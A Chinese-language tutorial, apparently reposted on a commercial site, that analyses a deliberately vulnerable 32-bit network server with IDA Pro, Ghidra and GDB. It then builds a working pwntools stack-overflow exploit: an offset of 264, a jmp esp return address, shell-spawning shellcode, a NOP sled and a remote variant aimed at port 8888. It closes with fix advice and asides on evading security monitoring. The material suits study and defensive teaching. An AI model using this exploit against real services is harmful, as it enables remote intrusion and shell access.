从Pwn到实战：用IDA Pro和Ghidra手把手分析一个真实的缓冲区溢出漏洞（附Python脚本）-港品优选

从Pwn到实战：用IDA Pro和Ghidra手把手分析一个真实的缓冲区溢出漏洞（附Python脚本）

缓冲区溢出漏洞一直是网络安全领域中最经典也最危险的漏洞类型之一。从早期的Morris蠕虫到近年来的各种远程代码执行漏洞，缓冲区溢出始终是攻击者最青睐的攻击向量。对于安全研究人员来说，掌握缓冲区溢出的分析和利用技术不仅是CTF比赛的基本功，更是实际漏洞挖掘和渗透测试中的核心技能。

本文将从一个真实的简易C程序出发，带领读者完整走一遍漏洞分析的流程：从使用IDA Pro和Ghidra进行静态分析，到动态调试确认漏洞点，最后编写出稳定的Python利用脚本。不同于CTF中的理想化环境，我们会重点关注实际分析过程中可能遇到的各种"坑点"和工具使用技巧。

1. 环境准备与目标分析

在开始分析之前，我们需要搭建一个合适的工作环境。建议使用64位的Ubuntu 20.04 LTS系统，并安装以下工具：

IDA Pro 7.7：业界标准的逆向工程工具
Ghidra 10.1：NSA开源的强大逆向工具
GDB with Pwndbg：增强版的调试环境
Python 3.8+：用于编写利用脚本

我们的分析目标是一个简单的网络服务程序vuln_server，它监听在TCP端口8888上，接收客户端发送的数据并处理。已知这个程序存在缓冲区溢出漏洞，但具体位置和利用方式需要我们自己分析。

首先检查程序的基本信息：

$ file vuln_server vuln_server: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=..., not stripped $ checksec --file=vuln_server RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 77 Symbols No 0 3 vuln_server

从检查结果可以看出，这是一个32位的ELF程序，没有去除符号表（not stripped），这会让我们的逆向工作稍微轻松一些。安全防护方面，程序只开启了Partial RELRO，没有栈保护（Canary）、NX（不可执行栈）和PIE（地址随机化）等现代防护机制，这意味着我们可以使用传统的栈溢出利用技术。

2. 静态分析：IDA Pro与Ghidra双剑合璧

2.1 使用IDA Pro进行初步分析

将vuln_server载入IDA Pro后，我们首先查看字符串窗口（Shift+F12），寻找可能的线索。发现几个有趣的字符串：

"Welcome to Vuln Server!" "Received: %s" "Error: input too long" "Command executed: %s"

这些字符串提示程序可能接收用户输入并执行某些命令。接下来查看函数窗口，发现几个关键函数：

main：程序入口点
handle_client：处理客户端连接的函数
vulnerable_function：看起来可疑的函数

我们重点关注vulnerable_function的反汇编代码：

.text:080491B6 vulnerable_function proc near .text:080491B6 .text:080491B6 buf = byte ptr -100h .text:080491B6 .text:080491B6 push ebp .text:080491B7 mov ebp, esp .text:080491B9 sub esp, 100h .text:080491BF sub esp, 8 .text:080491C2 push [ebp+arg_0] ; src .text:080491C5 lea eax, [ebp+buf] .text:080491CB push eax ; dest .text:080491CC call _strcpy .text:080491D1 add esp, 10h .text:080491D4 nop .text:080491D5 leave .text:080491D6 retn .text:080491D6 vulnerable_function endp

这段代码显示，vulnerable_function在栈上分配了0x100字节的缓冲区，然后直接使用strcpy将用户输入复制到这个缓冲区中，没有进行任何长度检查——这是典型的缓冲区溢出漏洞。

2.2 使用Ghidra进行交叉验证

为了验证我们的发现，我们再用Ghidra分析同一个函数。Ghidra的伪代码功能可以给我们更直观的理解：

void vulnerable_function(char *param_1) { char local_100[256]; strcpy(local_100,param_1); return; }

Ghidra的伪代码清晰地显示了这个函数的危险性：它直接将输入参数复制到一个256字节的栈缓冲区中，没有任何边界检查。如果输入字符串长度超过256字节，就会覆盖栈上的返回地址和其他关键数据。

3. 动态调试：确认漏洞细节

静态分析已经找到了潜在的漏洞点，现在我们需要通过动态调试确认漏洞的具体细节，包括：

精确的溢出偏移量
可能的利用限制
可利用的指令序列

3.1 使用GDB确定偏移量

首先用GDB启动程序，并生成一个测试用的长字符串：

$ python3 -c 'print("A"*300)' > payload

然后在GDB中运行程序并加载这个payload：

$ gdb -q vuln_server Reading symbols from vuln_server... (gdb) r < payload Starting program: /home/user/vuln_server < payload Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? ()

程序崩溃在0x41414141（"AAAA"的ASCII表示），这证实了我们可以控制EIP寄存器。接下来我们需要精确找出覆盖EIP所需的偏移量。

使用Metasploit的pattern_create和pattern_offset工具可以方便地确定这个偏移量：

$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300 > pattern $ gdb -q vuln_server (gdb) r < pattern Program received signal SIGSEGV, Segmentation fault. 0x37654136 in ?? () $ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x37654136 [*] Exact match at offset 264

现在我们知道了EIP的偏移量是264字节。也就是说，我们需要构造这样的payload：

[264字节的填充] + [4字节的返回地址] + [后续payload]

3.2 检查可利用的指令序列

为了利用这个漏洞，我们需要找到合适的指令来执行我们的shellcode。由于NX保护没有开启，我们可以直接在栈上执行代码。检查程序加载的库：

$ ldd vuln_server linux-gate.so.1 (0xf7fc9000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d90000) /lib/ld-linux.so.2 (0xf7fcd000)

我们可以使用jmp esp这样的指令来跳转到我们的shellcode。使用objdump查找这样的指令：

$ objdump -d vuln_server | grep -B1 "ff e4" 804925f: ff e4 jmp esp

幸运的是，程序中本身就有一个jmp esp的指令，地址是0x0804925f。这样我们的利用思路就很清晰了：

用264字节填充缓冲区
用0x0804925f覆盖返回地址
在返回地址后面放置我们的shellcode

4. 编写利用脚本

现在我们已经收集了所有必要的信息，可以开始编写Python利用脚本了。我们将使用pwntools库来简化开发过程。

#!/usr/bin/env python3 from pwn import * context(arch='i386', os='linux') # 设置目标 target = process('./vuln_server') # target = remote('192.168.1.100', 8888) # 对于远程目标 # 构造payload offset = 264 jmp_esp = p32(0x0804925f) # jmp esp的地址 # 生成shellcode shellcode = asm(shellcraft.sh()) # 构造完整payload payload = b'A' * offset + jmp_esp + shellcode # 发送payload target.sendline(payload) # 切换到交互模式 target.interactive()

这个脚本首先设置了目标（本地程序或远程服务），然后构造了包含以下部分的payload：

264字节的填充（'A'）
4字节的jmp esp地址（小端序）
一段生成shell的机器码（shellcode）

当这个payload被发送到目标程序时，程序会：

将我们的输入复制到栈缓冲区，导致��出
返回地址被覆盖为jmp esp的地址
函数返回时跳转到jmp esp指令
jmp esp跳转到栈上紧接着的shellcode
shellcode执行，给我们一个shell

5. 实际利用与问题排查

在实际运行利用脚本时，可能会遇到各种问题。下面是一些常见问题及其解决方案：

5.1 Shellcode执行失败

如果shellcode没有正确执行，可能是因为：

栈地址变化：动态调试时的栈地址可能与实际运行时不同。可以尝试使用NOP sled（一系列0x90指令）增加容错空间。
```
nop_sled = b'\x90' * 32 payload = b'A' * offset + jmp_esp + nop_sled + shellcode
```
坏字符问题：某些字符（如空字节、换行符等）可能会被程序特殊处理。需要避免在shellcode中使用这些字符。
```
# 设置坏字符列表 badchars = b'\x00\x0a\x0d' # 生成不带坏字符的shellcode shellcode = encode(shellcode, avoid=badchars)
```

5.2 地址随机化问题

虽然目标程序没有开启PIE，但系统的ASLR可能会导致栈地址随机化。在这种情况下，可以考虑：

Brute force：多次尝试，利用NOP sled增加命中概率
信息泄露：如果程序有信息泄露漏洞，可以先泄露栈地址
其他ROP技术：使用不依赖栈地址的利用方法

5.3 网络环境下的利用

如果目标是一个网络服务而非本地程序，还需要考虑：

网络延迟：添加适当的延时
连接稳定性：处理连接中断的情况
交互问题：可能需要特殊的shellcode来维持稳定的连接

# 网络利用示例 io = remote('target.com', 8888) io.sendlineafter(b'Welcome', payload) io.interactive()

6. 漏洞修复建议

在发现并验证了这个缓冲区溢出漏洞后，我们应该提出修复建议。针对这个特定的漏洞，修复方法包括：

使用安全函数：替换不安全的strcpy为strncpy或snprintf

// 修复后的代码 void safe_function(char *input) { char buffer[256]; strncpy(buffer, input, sizeof(buffer)-1); buffer[sizeof(buffer)-1] = '\0'; }

启用安全机制：编译时开启所有安全选项

gcc -fstack-protector-strong -z now -z noexecstack -D_FORTIFY_SOURCE=2 -O2 -o safe_server server.c

输入验证：在处理用户输入前检查长度

if (strlen(input) >= sizeof(buffer)) { // 处理错误 }

架构改进：考虑使用更安全的语言（如Rust）重写关键组件

7. 扩展思考：从CTF到真实世界

虽然我们分析的例子相对简单，但其中涉及的技术和方法可以直接应用于真实世界的漏洞分析。真实环境中的漏洞利用通常更加复杂，需要考虑：

现代防护机制：如ASLR、DEP、CFG等
多阶段利用：信息泄露+ROP链构造
稳定性要求：确保利用脚本在各种环境下可靠工作
隐蔽性考虑：避免触发安全监控

在实际漏洞研究中，我们还需要：

自动化分析：使用fuzzer发现更多潜在漏洞
补丁对比：分析安全更新以发现未公开的漏洞
漏洞模式识别：总结常见漏洞模式，提高分析效率

缓冲区溢出虽然是一个"古老"的漏洞类型，但在现代系统中仍然时有出现。掌握其分析和利用技术，不仅有助于理解更复杂的漏洞类型，也是构建有效防御措施的基础。

企业官网建设流程全解析